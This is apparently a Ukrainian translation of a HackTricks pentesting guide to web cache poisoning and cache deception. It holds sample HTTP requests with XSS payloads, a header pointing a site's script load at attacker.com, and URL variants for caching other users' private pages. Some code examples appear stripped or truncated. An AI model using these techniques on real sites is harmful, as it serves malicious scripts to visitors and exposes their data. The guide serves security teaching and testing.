# Кеш-отруєння та Кеш-обман
Вивчайте хакінг AWS від нуля до героя зhtARTE (HackTricks AWS Red Team Expert)!
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкої побудови та **автоматизації робочих процесів** за допомогою найбільш **продвинутих** інструментів спільноти у світі.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Відмінність
> **Яка різниця між кеш-отруєнням веб-сторінок та кеш-обманом веб-сторінок?**
>
> * У **кеш-отруєнні**, атакуючий змушує додаток зберігати деякий шкідливий вміст у кеші, і цей вміст подається з кешу іншим користувачам додатку.
> * У **кеш-обмані**, атакуючий змушує додаток зберігати деякий чутливий вміст, що належить іншому користувачеві, у кеші, а потім атакуючий отримує цей вміст з кешу.
## Кеш-отруєння
Кеш-отруєння спрямоване на маніпулювання кешем клієнта для примусу клієнтів завантажувати ресурси, які є неочікуваними, частковими або під контролем атакуючого. Розмір впливу залежить від популярності пошкодженої сторінки, оскільки забруднена відповідь подається виключно користувачам, які відвідують сторінку під час періоду забруднення кешу.
Виконання атаки кеш-отруєння включає кілька кроків:
1. **Ідентифікація неіндексованих введень**: Це параметри, які, хоча не є обов'язковими для кешування запиту, можуть змінити відповідь, яку повертає сервер. Виявлення цих введень є важливим, оскільки їх можна використовувати для маніпулювання кешем.
2. **Експлуатація неіндексованих введень**: Після ідентифікації неіндексованих введень наступним кроком є виявлення способів зловживання цими параметрами для зміни відповіді сервера таким чином, що це користується атакуючому.
3. **Переконання, що забруднена відповідь зберігається в кеші**: Останнім кроком є переконання, що змінена відповідь зберігається в кеші. Таким чином, будь-який користувач, який отримує доступ до пошкодженої сторінки під час забруднення кешу, отримає забруднену відповідь.
### Виявлення: Перевірка HTTP-заголовків
Зазвичай, коли відповідь була **збережена в кеші**, буде **заголовок, що вказує на це**, ви можете перевірити, на які заголовки варто звернути увагу у цьому пості: [**HTTP-заголовки кешування**](../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
### Виявлення: Кешування коду 400
Якщо ви вважаєте, що відповідь зберігається в кеші, ви можете спробувати **надсилати запити з поганим заголовком**, на який повинна бути відповідь з **кодом статусу 400**. Потім спробуйте отримати доступ до запиту зазвичай, і якщо **відповідь має код статусу 400**, ви знаєте, що він є вразливим (і ви навіть можете виконати DoS).\
Погано налаштованим заголовком може бути просто `\:` як заголовок.\
_Зауважте, що іноді ці види кодів статусу не кешуються, тому цей тест буде некорисним._
### Виявлення: Визначення та оцінка неіндексованих введень
Ви можете використовувати [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) для **брут-форсу параметрів та заголовків**, які можуть **змінювати відповідь сторінки**. Наприклад, сторінка може використовувати заголовок `X-Forwarded-For`, щоб вказати клієнту завантажувати скрипт з цього місця:
```markup
```
### Викликати шкідливу відповідь від сервера back-end
З параметром/заголовком, ідентифікованим, перевірте, як він **санітарний** та **де** він **відображається** або впливає на відповідь з заголовка. Чи можна цим скористатися (виконати XSS або завантажити JS-код, керований вами? виконати DoS?...)
### Отримання кешованої відповіді
Після того, як ви **ідентифікували** **сторінку**, яку можна зловживати, який **параметр**/**заголовок** використовувати та **як** цим **зловживати**, вам потрібно отримати кешовану сторінку. Залежно від ресурсу, який ви намагаєтеся отримати в кеші, це може зайняти певний час, можливо, вам доведеться намагатися протягом кількох секунд.\
Заголовок **`X-Cache`** у відповіді може бути дуже корисним, оскільки він може мати значення **`miss`**, коли запит не був закешований, та значення **`hit`**, коли він закешований.\
Заголовок **`Cache-Control`** також цікавий, щоб знати, чи ресурс кешується та коли наступний раз ресурс буде закешовано знову: `Cache-Control: public, max-age=1800`\
Ще один цікавий заголовок - **`Vary`**. Цей заголовок часто використовується для **вказівки додаткових заголовків**, які розглядаються як **частина ключа кешу**, навіть якщо вони зазвичай не мають ключа. Тому, якщо користувач знає `User-Agent` потерпілого, якого він націлює, він може забруднити кеш для користувачів, які використовують цей конкретний `User-Agent`.\
Ще один заголовок, пов'язаний з кешем, - **`Age`**. Він визначає час у секундах, протягом якого об'єкт перебував у проксі-кеші.
При кешуванні запиту будьте **обережні зі заголовками**, які ви використовуєте, оскільки деякі з них можуть бути **використані несподівано** як **ключові**, і **жертва повинна буде використовувати той самий заголовок**. Завжди **перевіряйте** Отруєння Кешу з **різними браузерами**, щоб переконатися, що воно працює.
## Приклади експлуатації
### Найпростіший приклад
Заголовок, подібний до `X-Forwarded-For`, відображається у відповіді несанітарно.\
Ви можете відправити базове XSS-навантаження та забруднити кеш, щоб кожен, хто отримує доступ до сторінки, отримував XSS:
```markup
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a.">"
```
_Зверніть увагу, що це отруїть запит на `/en?region=uk`, а не на `/en`_
### Використання отруєння кешу веб-сторінок для експлуатації вразливостей обробки куків
Куки також можуть відображатися у відповіді сторінки. Якщо ви можете зловживати цим, щоб викликати XSS, наприклад, ви зможете експлуатувати XSS у кількох клієнтів, які завантажують зловісну кеш-відповідь.
```markup
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
Зверніть увагу, що якщо вразливий куки використовується користувачами дуже часто, регулярні запити будуть очищати кеш.
### Отруєння кешу з використанням траверсу шляху для крадіжки ключа API
[**У цій статті**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) пояснюється, як було можливо вкрасти ключ API OpenAI за допомогою URL-адреси, подібної до `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`, оскільки все, що відповідає `/share/*`, буде кешуватися без нормалізації URL-адреси Cloudflare, що було зроблено, коли запит досяг веб-сервера.
### Використання кількох заголовків для експлуатації вразливостей отруєння кешу веб-сайту
Іноді вам доведеться **експлуатувати кілька неідентифікованих введень**, щоб мати змогу зловживати кешем. Наприклад, ви можете знайти **відкритий редірект**, якщо ви встановите `X-Forwarded-Host` на домен, яким ви керуєте, і `X-Forwarded-Scheme` на `http`. **Якщо** **сервер** **пересилає** всі **HTTP**-запити **на HTTPS** та використовує заголовок `X-Forwarded-Scheme` як домен для перенаправлення. Ви можете контролювати, куди буде спрямована сторінка через перенаправлення.
```markup
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
### Використання з обмеженим заголовком `Vary`
Якщо ви виявили, що заголовок **`X-Host`** використовується як **ім'я домену для завантаження ресурсу JS**, але заголовок **`Vary`** у відповіді вказує на **`User-Agent`**, то вам потрібно знайти спосіб витягти `User-Agent` жертви та забруднити кеш, використовуючи цей `User-Agent`:
```markup
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
```
### Використання HTTP-кешування для отримання доступу до кешу шляхом зловживання HTTP Request Smuggling
Дізнайтеся тут, як виконати [атаки на кешування шляхом зловживання HTTP Request Smuggling](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning).
### Автоматизоване тестування на вразливість кешування веб-сторінок
[Сканер вразливостей веб-кешування](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) може бути використаний для автоматичного тестування на вразливість кешування веб-сторінок. Він підтримує багато різних технік і має високу настроюваність.
Приклад використання: `wcvs -u example.com`
\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), щоб легко створювати та **автоматизувати робочі процеси** за допомогою найбільш **продвинутих** інструментів спільноти у світі.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Приклади вразливостей
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATS передав фрагмент у URL без його видалення і створив ключ кешування, використовуючи лише хост, шлях та запит (ігноруючи фрагмент). Таким чином, запит `/#/../?r=javascript:alert(1)` був відправлений на бекенд як `/#/../?r=javascript:alert(1)`, і ключ кешу не містив в собі навантаження, лише хост, шлях та запит.
### GitHub CP-DoS
Відправлення некоректного значення у заголовку content-type спричинило кешовану відповідь 405. Ключ кешу містив куки, тому можливо було атакувати лише неавторизованих користувачів.
### GitLab + GCP CP-DoS
GitLab використовує віджети GCP для зберігання статичного контенту. **Віджети GCP** підтримують **заголовок `x-http-method-override`**. Таким чином, було можливо відправити заголовок `x-http-method-override: HEAD` і забруднити кеш, щоб повертав порожнє тіло відповіді. Також це могло підтримувати метод `PURGE`.
### Rack Middleware (Ruby on Rails)
У додатках Ruby on Rails часто використовується проміжний шар Rack. Мета коду Rack полягає в тому, щоб взяти значення заголовка **`x-forwarded-scheme`** і встановити його як схему запиту. Коли відправляється заголовок `x-forwarded-scheme: http`, відбувається перенаправлення 301 на ту саму локацію, що потенційно може призвести до відмови в обслуговуванні (DoS) для цього ресурсу. Крім того, додаток може враховувати заголовок `X-forwarded-host` і перенаправляти користувачів на вказаний хост. Ця поведінка може призвести до завантаження файлів JavaScript з сервера зловмисника, що створює ризик для безпеки.
### 403 та сховища
Раніше Cloudflare кешував відповіді 403. Спроба доступу до S3 або Azure Storage Blobs з некоректними заголовками авторизації призводила до отримання відповіді 403, яка кешувалася. Хоча Cloudflare припинив кешування відповідей 403, така поведінка може бути присутня в інших проксі-сервісах.
### Впровадження ключових параметрів
Кеші часто включають конкретні GET-параметри у ключ кешування. Наприклад, Varnish Fastly кешував параметр `size` у запитах. Однак, якщо разом із правильним значенням відправлялося URL-кодоване значення параметра (наприклад, `siz%65`) з помилковим значенням, ключ кешування будувався за допомогою правильного параметра `size`. Проте бекенд обробляв значення у URL-кодованому параметрі. URL-кодування другого параметра `size` призводило до його відсутності у кеші, але його використання бекендом. Присвоєння значення 0 цьому параметру призводило до кешованої помилки 400 Bad Request.
### Правила User Agent
Деякі розробники блокують запити з user-agent, що відповідають високотрафікуючим інструментам, таким як FFUF або Nuclei, для керування навантаженням сервера. Цей підхід може призвести до вразливостей, таких як кешування та DoS.
### Недопустимі поля заголовків
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) визначає припустимі символи у назвах заголовків. Заголовки, що містять символи поза визначеним діапазоном **tchar**, в ідеалі повинні спричиняти відповідь 400 Bad Request. На практиці сервери не завжди дотримуються цього стандарту. Прикладом є Akamai, яка передає заголовки з недійсними символами та кешує будь-яку помилку 400, поки заголовок `cache-control` відсутній. Було виявлено вразливий шаблон, де відправка заголовка з недійсним символом, таким як `\`, призводила до кешованої помилки 400 Bad Request.
### Пошук нових заголовків
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
## Кеш-обман
Мета кеш-обману полягає в тому, щоб клієнти **завантажували ресурси, які будуть збережені кешем з їх чутливою інформацією**.
Спочатку слід зауважити, що **розширення** такі як `.css`, `.js`, `.png` тощо зазвичай **налаштовані** на **збереження** в **кеші**. Тому, якщо ви звернетесь до `www.example.com/profile.php/nonexistent.js`, кеш, швидше за все, збереже відповідь, оскільки він бачить **розширення** `.js`. Але, якщо **додаток** **повторюється** з **чутливим** вмістом користувача, збереженим у _www.example.com/profile.php_, ви можете **вкрасти** цей вміст від інших користувачів.
Інші речі для тестування:
* _www.example.com/profile.php/.js_
* _www.example.com/profile.php/.css_
* _www.example.com/profile.php/test.js_
* _www.example.com/profile.php/../test.js_
* _www.example.com/profile.php/%2e%2e/test.js_
* _Використовуйте менш відомі розширення, такі як_ `.avif`
Інший дуже ясний приклад можна знайти в цьому описі: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
У цьому прикладі пояснюється, що якщо ви завантажите неіснуючу сторінку, наприклад _http://www.example.com/home.php/non-existent.css_, вміст _http://www.example.com/home.php_ (**з чутливою інформацією користувача**) буде повернуто, і сервер кешування збереже результат.\
Потім **зловмисник** може отримати доступ до _http://www.example.com/home.php/non-existent.css_ у своєму власному браузері та спостерігати **конфіденційну інформацію** користувачів, які зверталися раніше.
Зверніть увагу, що **проксі-сервер кешування** повинен бути **налаштований** на **кешування файлів** на основі **розширення** файлу (_.css_) і не на основі типу вмісту. У прикладі _http://www.example.com/home.php/non-existent.css_ буде мати тип вмісту `text/html` замість mime-типу `text/css` (який очікується для _.css_ файлу).
Дізнайтеся тут, як виконати [атаки кеш-обману, зловживаючи HTTP Request Smuggling](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception).
## Автоматичні інструменти
* [**toxicache**](https://github.com/xhzeem/toxicache): Сканер на Golang для пошуку вразливостей на кешування веб-сторінок у списку URL-адрес та тестування різних технік впровадження.
## Посилання
* [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
* [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)
* [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)
* [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
* [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
* [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), щоб легко створювати та **автоматизувати робочі процеси** за допомогою найбільш **продвинутих** інструментів спільноти у світі.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Вивчайте хакінг AWS від нуля до героя зhtARTE (HackTricks AWS Red Team Expert)!
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.